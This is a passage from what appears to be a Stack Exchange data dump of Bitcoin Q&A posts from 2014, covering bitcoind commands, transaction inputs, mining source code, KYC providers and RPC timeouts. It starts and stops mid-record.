LastActivityDate="2014-12-12T04:13:31.763" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32823" PostTypeId="2" ParentId="32790" CreationDate="2014-12-01T21:37:24.440" Score="1" Body="&lt;p&gt;Well the problem is that the Coinbase Java Api depends on the Jackson JSON processor, along with several other dependencies that can be found &lt;a href=&quot;https://github.com/coinbase/coinbase-java/blob/master/pom.xml&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;, and I'm assuming that the jar that you download didn't come with all of these dependencies packaged inside it which means that they won't be on your classpath just because you've added the coinbase jar. You could either try to resolve these dependencies manually, which would be incredibly tedious and unnecessary, or you could use a build automation tool. Considering that the Coinbase Java API was built with it in mind I would recommend setting your project up to use &lt;a href=&quot;http://maven.apache.org/&quot; rel=&quot;nofollow&quot;&gt;Maven&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="18254" LastActivityDate="2014-12-01T21:37:24.440" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32824" PostTypeId="2" ParentId="32813" CreationDate="2014-12-01T21:58:11.980" Score="1" Body="&lt;p&gt;When the client receives conflicting blockchains, the chain with the higher overall work will &quot;win&quot; and be the one that node A considers the true chain. If the two chains are equal (e.g. because two miners found a block at about the same time), it will hold on to both until it sees a new block on one of the chains make it the best chain. In the example you described, this is called a &lt;a href=&quot;https://en.bitcoin.it/wiki/Chain_Reorganization&quot; rel=&quot;nofollow&quot;&gt;chain reorganization&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not familiar enough with the source code to tell you exactly &lt;em&gt;how&lt;/em&gt; it does this, but it's apparent that it does. I would assume that it does remove an orphaned chain's blocks from the disk once it knows it's orphaned.&lt;/p&gt;&#xA;" OwnerUserId="12034" LastActivityDate="2014-12-01T21:58:11.980" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32825" PostTypeId="2" ParentId="28182" CreationDate="2014-12-01T22:24:17.953" Score="5" Body="&lt;p&gt;Each transaction can have multiple inputs and thus can have multiple senders.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's how you get the sender(s):&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;bitcoin-cli getrawtransaction 8386a8d2870c0df79f652ef4d981b21649ebf40601948c1c0709de0f02de8c8c 1&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;(the 1 flag indicates that you want the raw tx to be decoded)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Note: make sure that you have already indexed the blockchain or else this might not work. To index, restart bitcoind with &lt;code&gt;txindex=1&lt;/code&gt; as a config variable.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From that, you get a fairly big response, which contains the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;vin&quot; : [{&#xA;    &quot;txid&quot; : &quot;5203d1db5eeef77de7c404ec14487892e3dd12b4a562537243533a169d45753c&quot;,&#xA;    &quot;vout&quot; : 1,&#xA;    &quot;scriptSig&quot; : {&#xA;        &quot;asm&quot; : &quot;304402200ee65c9f757eb6c240efe5a7e4427e04174a32da14b1eef459d36d61d031f6e702202d6b5383f86f155d92a494e80a1242af7e160faf16d597ea457b6e3bf08bb1ca01 02be7759e73363488269f0257158177f3295af42d1f3a6b2fdf8fb4380b1d16ae9&quot;,&#xA;        &quot;hex&quot; : &quot;47304402200ee65c9f757eb6c240efe5a7e4427e04174a32da14b1eef459d36d61d031f6e702202d6b5383f86f155d92a494e80a1242af7e160faf16d597ea457b6e3bf08bb1ca012102be7759e73363488269f0257158177f3295af42d1f3a6b2fdf8fb4380b1d16ae9&quot;&#xA;    },&#xA;    &quot;sequence&quot; : 4294967295&#xA;}]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This means there's a single input, so there is in fact one sender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, there are two ways to get the sender.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Method A (should always work but is slower):&lt;/h3&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;grab the &lt;code&gt;txid&lt;/code&gt; and the &lt;code&gt;vout&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;do &lt;code&gt;bitcoin-cli getrawtransaction &amp;lt;txid&amp;gt; 1&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;find the output of this new tx where the value &lt;code&gt;n&lt;/code&gt; is equal to the &lt;code&gt;vout&lt;/code&gt; of our original tx&lt;/li&gt;&#xA;&lt;li&gt;go to the &lt;code&gt;scriptPubKey&lt;/code&gt; section and check the &lt;code&gt;hex&lt;/code&gt; or &lt;code&gt;addresses&lt;/code&gt; field - that's the sender (in hex pubkey script or address form)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;We now have:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;scriptPubKey&quot; : {&#xA;    &quot;asm&quot; : &quot;OP_DUP OP_HASH160 17492e77be2c666af78993020b90235cd1d3738d OP_EQUALVERIFY OP_CHECKSIG&quot;,&#xA;    &quot;hex&quot; : &quot;76a91417492e77be2c666af78993020b90235cd1d3738d88ac&quot;,&#xA;    &quot;reqSigs&quot; : 1,&#xA;    &quot;type&quot; : &quot;pubkeyhash&quot;,&#xA;    &quot;addresses&quot; : [&#xA;        &quot;1388D9sHH4HXdGLxkSipxe2noZuekHZmaF&quot;&#xA;    ]&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and the sender is &lt;code&gt;1388D9sHH4HXdGLxkSipxe2noZuekHZmaF&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Method B (faster but only works for certain types of transactions):&lt;/h3&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;check the 'asm' field inside the 'scriptSig' field&lt;/li&gt;&#xA;&lt;li&gt;if the field has two components separated by a space, and the second component is a valid public key, then we have a standard pay-to-pubkey(-hash) transaction, so convert the pubkey to an address&lt;/li&gt;&#xA;&lt;li&gt;fallback to method A&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;We see that there is in fact a valid pubkey in the original tx scriptSig:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;02be7759e73363488269f0257158177f3295af42d1f3a6b2fdf8fb4380b1d16ae9&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We use Coinkit to extract the address:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ sudo pip install coinkit&#xA;$ python&#xA;&amp;gt;&amp;gt;&amp;gt; from coinkit import BitcoinPublicKey&#xA;&amp;gt;&amp;gt;&amp;gt; pub = BitcoinPublicKey('02be7759e73363488269f0257158177f3295af42d1f3a6b2fdf8fb4380b1d16ae9')&#xA;&amp;gt;&amp;gt;&amp;gt; pub.address()&#xA;'1388D9sHH4HXdGLxkSipxe2noZuekHZmaF'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And we have the same answer!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S. you can inspect the Coinkit library I used above &lt;a href=&quot;https://github.com/onenameio/coinkit&quot; rel=&quot;noreferrer&quot;&gt;on github&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6767" LastEditorUserId="6767" LastEditDate="2014-12-01T23:10:40.467" LastActivityDate="2014-12-01T23:10:40.467" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32826" PostTypeId="2" ParentId="32819" CreationDate="2014-12-01T22:39:42.717" Score="2" Body="&lt;p&gt;That's how Bitcoin works. Accounts don't really have balances, they have unspent outputs. You have to spend entire outputs, but you can return amounts to yourself to create a new &quot;change&quot; output that you can spend later.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2014-12-01T22:39:42.717" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32827" PostTypeId="1" CreationDate="2014-12-01T23:36:52.160" Score="1" ViewCount="194" Body="&lt;p&gt;I am wondering which Know Your Client solution providers are used by Bitcoin companies?&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="37414" LastEditDate="2018-05-10T16:55:15.110" LastActivityDate="2018-05-10T16:55:15.110" Title="Which KYC solution providers are used by Bitcoin companies?" Tags="|services|aml|know-your-customer|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32828" PostTypeId="2" ParentId="32827" CreationDate="2014-12-01T23:40:53.713" Score="1" Body="&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.jumio.com/&quot; rel=&quot;nofollow&quot;&gt;Jumio&lt;/a&gt; is used by a few companies, including SnapSwap, CoinMKT, etc. Their notable products include &lt;a href=&quot;https://www.jumio.com/netverify/&quot; rel=&quot;nofollow&quot;&gt;NetVerify&lt;/a&gt; and &lt;a href=&quot;https://www.jumio.com/bison/&quot; rel=&quot;nofollow&quot;&gt;BISON&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.miicard.com/&quot; rel=&quot;nofollow&quot;&gt;miiCard&lt;/a&gt; is used by &lt;a href=&quot;http://www.miicard.com/blog/201403/whats-new-use-your-miicard-these-bitcoin-sites&quot; rel=&quot;nofollow&quot;&gt;Bylls and Bittylicious&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.sphonic.com/&quot; rel=&quot;nofollow&quot;&gt;Sphonic&lt;/a&gt; is used by &lt;a href=&quot;http://www.thepaypers.com/cryptocurrencies-bitcoin-virtual-currencies/bitnet-technologies-partners-sphonic-for-kyc-aml-services/757197-39&quot; rel=&quot;nofollow&quot;&gt;Bitnet&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="323" LastActivityDate="2014-12-01T23:40:53.713" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32829" PostTypeId="1" AcceptedAnswerId="32830" CreationDate="2014-12-02T00:06:06.133" Score="1" ViewCount="486" Body="&lt;p&gt;This comment is in the 0.9.3 miner.cpp bitcoin source, right above the &lt;code&gt;ScanHash_CryptoPP&lt;/code&gt; definition. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;//&#xA;// ScanHash scans nonces looking for a hash with at least some zero bits.&#xA;// It operates on big endian data.  Caller does the byte reversing.&#xA;// All input buffers are 16-byte aligned.  nNonce is usually preserved&#xA;// between calls, but periodically or if nNonce is 0xffff0000 or above,&#xA;// the block is rebuilt and nNonce starts over at zero.&#xA;//&#xA;unsigned int static ScanHash_CryptoPP...&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;What does it mean that the input buffers are 16-byte aligned? Is that important for calculating the hash? &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I notice that some of the parameters to this method are defined as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;char pmidstatebuf[32+16]; char* pmidstate = alignup&amp;lt;16&amp;gt;(pmidstatebuf);&#xA;char pdatabuf[128+16];    char* pdata     = alignup&amp;lt;16&amp;gt;(pdatabuf);&#xA;char phash1buf[64+16];    char* phash1    = alignup&amp;lt;16&amp;gt;(phash1buf);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;All of the arrays already have a length that is divisible by 16, what's the need for the extra 16 chars?&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;And why only try 0xffff nonces? Is this just an artificial limit put so that the hashing doesn't take forever?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="18196" LastEditorUserId="5406" LastEditDate="2016-04-10T09:50:41.683" LastActivityDate="2018-05-22T12:21:34.440" Title="Explain this comment on nNonce from the bitcoin miner.cpp source?" Tags="|mining-technical-details|bitcoin-core-development|nonce|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32830" PostTypeId="2" ParentId="32829" CreationDate="2014-12-02T03:11:19.093" Score="3" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;blockquote&gt;&#xA;  &lt;p&gt;What does it mean that the input buffers are 16-byte aligned? Is that important for calculating the hash?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It means that the lower four bits of the starting address are always zero. I assume that this was done for speed reasons. There are instructions that won't work on non-16 byte aligned addresses. Also, some CPU caches might prefer it. I don't know.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It doesn't affect how mining is done, though.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;blockquote&gt;&#xA;  &lt;p&gt;All of the arrays already have a length that is divisible by 16, what's the need for the extra 16 chars?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Not quite. Notice how it gets those addresses. It declares an array, &lt;em&gt;then&lt;/em&gt; manipulates the pointer to that array. There's no platform-independent way to ask the OS for an aligned section of memory. Instead, you have to ask for something slightly larger than what you want, and increment the pointer until it lands on the boundary that you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Side note: This is an off-by-one error. Really, the array only needs to be 15 bytes larger than normal. Probably not worth fixing.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;blockquote&gt;&#xA;  &lt;p&gt;And why only try 0xffff nonces? Is this just an artificial limit put so that the hashing doesn't take forever?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It tries all nonce values. However, it returns from the function every 65536 iterations, so the parent function can check &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;that it's still mining on the top of the chain,&lt;/li&gt;&#xA;&lt;li&gt;that it's still actually connected to the network,&lt;/li&gt;&#xA;&lt;li&gt;that the transactions are not out of date, and&lt;/li&gt;&#xA;&lt;li&gt;that the nonce is not going to wrap around.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Basically, all of the complicated logic is implemented in its caller, &lt;code&gt;BitcoinMiner&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS: That comment is wrong. It appears to describe ScanHash, but it's actually talking about this section of code within &lt;code&gt;BitcoinMiner&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    // Check for stop or if block needs to be rebuilt&#xA;    boost::this_thread::interruption_point();&#xA;    if (vNodes.empty() &amp;amp;&amp;amp; Params().NetworkID() != CChainParams::REGTEST)&#xA;        break;&#xA;    if (nBlockNonce &amp;gt;= 0xffff0000)&#xA;        break;&#xA;    if (mempool.GetTransactionsUpdated() != nTransactionsUpdatedLast &amp;amp;&amp;amp; GetTime() - nStart &amp;gt; 60)&#xA;        break;&#xA;    if (pindexPrev != chainActive.Tip())&#xA;        break;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Somebody should probably move the comment.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2014-12-02T03:11:19.093" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32831" PostTypeId="2" ParentId="18113" CreationDate="2014-12-02T04:41:46.520" Score="1" Body="&lt;p&gt;Using the blockchain.info app go to your address book (menu button in top left).. then when in the address book click the same top-left menu button and you'll see the import private key option. Scan the QR, job done.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively use a QR scanning app such as QRDroid and then you can copy &amp;amp; paste the resulting private key into anything you like.&lt;/p&gt;&#xA;" OwnerUserId="18441" LastActivityDate="2014-12-02T04:41:46.520" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32832" PostTypeId="2" ParentId="24180" CreationDate="2014-12-02T04:49:20.873" Score="-1" Body="&lt;p&gt;Ltcgear has a concept of multiplication to offset difficulty increases. This really helps to keep payouts the same.  Not to mention they have the best price per mh and have been running with no issues for over a year.&#xA;&lt;a href=&quot;http://ltcgear.com?apage=1150&quot; rel=&quot;nofollow&quot;&gt;http://ltcgear.com?apage=1150&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="21354" LastActivityDate="2014-12-02T04:49:20.873" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32834" PostTypeId="1" AcceptedAnswerId="32836" CreationDate="2014-12-02T06:35:31.587" Score="2" ViewCount="734" Body="&lt;p&gt;I have only known about Bitcoin for maybe a month now. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know what I need to start mining, but I had these two programs that were said to be needed for the Bitcoins. I deleted these programs and thought maybe I shouldn't mess with all this, but I just can't do that. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please, any help on starting the process of mining and the way everything works would be much appreciated.&lt;/p&gt;&#xA;" OwnerUserId="21355" LastEditorUserId="5406" LastEditDate="2016-03-09T15:24:27.013" LastActivityDate="2016-03-09T15:24:27.013" Title="How do I start mining?" Tags="|cpu-mining|mining-software|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32835" PostTypeId="1" AcceptedAnswerId="32837" CreationDate="2014-12-02T08:41:27.793" Score="8" ViewCount="2298" Body="&lt;p&gt;My database became corrupted and I had to reindex:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bitcoind --daemon -reindex&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It takes my computer quite some time and CPU power. It's been running for an hour but it will take at least 4 more hours to finish. With this high a load, I can't do my work on it, so I'd like to interrupt this process without losing the current progress, and continue later. Is that possible? &lt;/p&gt;&#xA;" OwnerUserId="14680" LastActivityDate="2014-12-02T20:05:36.663" Title="Safely interrupt -reindex?" Tags="|blockchain|bitcoind|synchronization|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32836" PostTypeId="2" ParentId="32834" CreationDate="2014-12-02T09:31:42.987" Score="6" Body="&lt;p&gt;To be honest, you came in a little too late. Mining is now done by ASIC's (Application Specific Integrated Circuit). These are chips (like the ones Intel and AMD make) that are only capable of hashing SHA-256. These chips are very limited (they can't run any other software), but can do what they were made to do extremely fast.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An Intel 'universal' CPU can do somwhere around 1.2 million SHA-256 calculations (it is also running an Operating System in most cases), whereas an ASIC chip can calculate these hashes at around 4 billion a second, per chip. That's 4000 times as much. Also, when these chips are made to connect over Serial or USB, you could hook up 100 of these on one computer or Raspberry pi. It is quite difficult to scale up CPU's the same way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your best bet at mining would be to buy an ASIC miner and do a lot of research (preferably in opposite order; research first...). It is really easy to buy a miner right now and not make ROI (Return On Investment) because of the rising difficulty in Bitcoin. The rise of difficulty is stagnating a bit, but it is still rising. So please do some more reseach and know what you're getting yourself into.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Source: I have been mining myself for over a year now. I started out with graphics card mining and actually lost 1700 euros (2040 bucks) on the equipment. I now own ASIC miners and make a bit of profit every month. It takes me about 10 hours a week for maintenance, financial administration, trading/selling of (alt-)coins and I am still 'in the red' for about 800 euros (960 bucks). I like it a lot, even though my wife is not so happy with the space the miners take, the electrical bill being 400 euros higher each month, our house sounding like a server center and me spending more time on mining than on something else. Also, in the summer it's like I live in the tropics, with the heat generated by the miners.&lt;/p&gt;&#xA;" OwnerUserId="21294" LastEditorUserId="5406" LastEditDate="2015-11-23T15:50:52.377" LastActivityDate="2015-11-23T15:50:52.377" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32837" PostTypeId="2" ParentId="32835" CreationDate="2014-12-02T10:07:04.350" Score="13" Body="&lt;p&gt;Yes. You can just stop &lt;code&gt;bitcoind&lt;/code&gt; (using &lt;code&gt;bitcoin-cli stop&lt;/code&gt;, or just killing it with SIGINT). Next time invoke it without &lt;code&gt;-reindex&lt;/code&gt;, and it will continue from where it left off. If you do pass &lt;code&gt;-reindex&lt;/code&gt; again, it will start over.&lt;/p&gt;&#xA;" OwnerUserId="208" LastEditorUserId="208" LastEditDate="2014-12-02T20:05:36.663" LastActivityDate="2014-12-02T20:05:36.663" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="32838" PostTypeId="2" ParentId="17489" CreationDate="2014-12-02T10:57:06.873" Score="0" Body="&lt;p&gt;Indeed you can limit CPU number to use with -t option. You can get your allowed CPU core number by the command&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ cat /proc/cpuinfo&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You will see core0, core1, core2 ... So with max number core n it means you have n+1 cores dedicated to you. On the other hand you can take the command in an infinite while loop for start over and over again even if you are offline. The command is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ while(:); do ./minerd &amp;lt;options_here&amp;gt;; done&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But as Erica stated (and I stopped mining in my VPS immediately after I read her comment) it's really not a good idea. Up to now I had one VPS reboot and services shut down but I thought it was because of some other reason. I hope they won't punish me after I stopped running the miner.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So thank you Erica for your warning. You saved my server and possibly a lot of others.&lt;/p&gt;&#xA;" OwnerUserId="21357" LastEditorUserId="2306" LastEditDate="2014-12-02T15:50:51.227" LastActivityDate="2014-12-02T15:50:51.227" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32839" PostTypeId="1" CreationDate="2014-12-02T13:44:40.080" Score="4" ViewCount="1830" Body="&lt;p&gt;I am running unit tests against bitcoind which do JSON-RPC requests in high rate. Random failures are an issue. E.g. if you have something like this in printconsole logs:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ThreadRPCServer method=gettransaction&#xA;ThreadRPCServer method=gettransaction&#xA;ThreadRPCServer method=gettransaction&#xA;ThreadRPCServer method=gettransaction&#xA;....&#xA;ThreadRPCServer method=gettransaction&#xA;ThreadRPCServer method=gettransaction&#xA;sending: inv (37 bytes)&#xA;ThreadRPCServer method=gettransaction&#xA;ThreadRPCServer method=listtransactions&#xA;sending: inv (37 bytes)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You start getting:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;synced with network?&quot;.format(name)) from e&#xA;cryptoassets.core.backend.bitcoind.BitcoindJSONError: Got timeout when doing bitcoin RPC call listtransactions. &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have tried with both reusing HTTP connection and not reusing HTTP connection with various results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any low hanging fruits to make &lt;code&gt;bitcoind&lt;/code&gt; RPC interface more stable (increase threads, concurrency, etc.?)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using the following Python JSON-RPC implementation:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/jgarzik/python-bitcoinrpc/blob/master/bitcoinrpc/authproxy.py&quot; rel=&quot;nofollow&quot;&gt;https://github.com/jgarzik/python-bitcoinrpc/blob/master/bitcoinrpc/authproxy.py&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE: Looks like the problematic call might be &lt;code&gt;listtransactions&lt;/code&gt;. When called at the same the time from command line using &lt;code&gt;curl&lt;/code&gt; there is no response either:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[~]% curl --user foo:bar --data-binary '{&quot;id&quot;:&quot;t0&quot;, &quot;method&quot;: &quot;listtransactions&quot;, &quot;params&quot;: [&quot;cryptoassets&quot;] }' http://127.0.0.1:8332/ |python -m json.tool&#xA;  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current&#xA;                                 Dload  Upload   Total   Spent    Left  Speed&#xA;  0     0    0     0    0     0      0      0 --:--:-- --:--:--100    70    0     0  100    70      0     58  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5464" LastEditorUserId="5464" LastEditDate="2014-12-02T23:47:58.493" LastActivityDate="2015-01-02T01:26:13.503" Title="bitcoind JSON-RPC interface timeouts under unit tests" Tags="|bitcoind|json-rpc|python|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32840" PostTypeId="1" CreationDate="2014-12-02T17:58:53.827" Score="6" ViewCount="3203" Body="&lt;p&gt;I got myself a nice security key (Yubico Fido) today, which utilises the U2F protocol. But to my surprise not a single Bitcoin exchange seems to support this yet, only Google itself. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So which Bitcoin exchanges (plan to) support U2F?&lt;/p&gt;&#xA;" OwnerUserId="1577" LastEditorUserId="2306" LastEditDate="2014-12-02T23:03:16.143" LastActivityDate="2017-11-21T10:20:50.570" Title="Which exchanges support U2F authentication?" Tags="|security|exchanges|authentication|two-factor|wallet-security|" AnswerCount="3" CommentCount="0" ClosedDate="2017-11-22T18:05:28.013" ContentLicense="CC BY-SA 3.0" />
  <row Id="32842" PostTypeId="1" CreationDate="2014-12-02T19:13:19.000" Score="0" ViewCount="162" Body="&lt;p&gt;What's the best way to introduce Bitcoin to the family and friends?&#xA;Has anybody succesful experience in the topic?&lt;/p&gt;&#xA;" OwnerUserId="21362" LastEditorUserId="83779" LastEditDate="2014-12-05T08:05:29.377" LastActivityDate="2014-12-08T16:15:00.570" Title="What's the best way to introduce Bitcoin to the family and friends?" Tags="|currencies|education|" AnswerCount="1" CommentCount="3" ClosedDate="2014-12-18T15:52:46.060" ContentLicense="CC BY-SA 3.0" />
  <row Id="32843" PostTypeId="2" ParentId="32839" CreationDate="2014-12-02T19:19:20.427" Score="1" Body="&lt;p&gt;I used &lt;a href=&quot;https://github.com/GeorgeKimionis/BitcoinLib&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;BitcoinLib&lt;/strong&gt;&lt;/a&gt; to perform 15,000 consecutive &lt;code&gt;listtransactions&lt;/code&gt; calls and the result was:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0 timeouts&#xA;Fastest response: 0.1133479 sec&#xA;Slowest response: 0.6475277 sec&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;bitcoind&lt;/code&gt; was started with the default parameters and was receiving blocks during the test.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/K6vJo.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user11221" LastActivityDate="2014-12-02T19:19:20.427" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="32844" PostTypeId="1" CreationDate="2014-12-02T21:35:59.410" Score="2" ViewCount="130" Body="&lt;p&gt;Definition of the word &lt;em&gt;Experiment&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;A scientific procedure undertaken to make a discovery, test a&#xA;  hypothesis, or demonstrate a known fact.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If Bitcoin was/is an experiment, I don't think it's trying to make a discovery, it certainly isn't demonstrating a known fact.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It might be more closer to testing an hypothesis like &quot;A digital decentralized form of money is viable&quot;. But what exactly is the hypothesis? Where does the test end? Who declares the end of the experiment? The bitcoin foundation? The governments? Forum folk?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As we're nearing the end of 2014 and getting closer to the fifth birthday of Bitcoin, is it still an experiment?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;I know that this is a very broad and open ended question. And yet, the argument is popularly used by prominent people from the community. Like Gavin Andresen. Everytime he faces a tough question, this is his response. If we don't know where the experiment began and where it ended or where it will end, then maybe we should not use this as a wildcard answer.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="2995" LastEditorUserId="5406" LastEditDate="2021-03-06T19:44:12.820" LastActivityDate="2021-03-06T19:44:12.820" Title="Is Bitcoin still an experiment?" Tags="|bitcoin-economy|adoption|" AnswerCount="1" CommentCount="2" ClosedDate="2017-10-19T10:45:00.330" ContentLicense="CC BY-SA 3.0" />
  <row Id="32846" PostTypeId="2" ParentId="32844" CreationDate="2014-12-02T22:29:14.333" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Is Bitcoin still an experiment?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I don't think so. There's no control, and nobody's made one of those &lt;a href=&quot;https://i.stack.imgur.com/xh6tt.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;three panel boards&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In all seriousness, though, I think Satoshi probably wrote and published Bitcoin because he found it interesting. He may also have done so because it aligned with his political views. Of course, we're speculating on the motives of a guy that nobody's met.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also speculate that the current Bitcoin developers are part of the project for much the same reason.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;When does the test end? Who declares the end of the 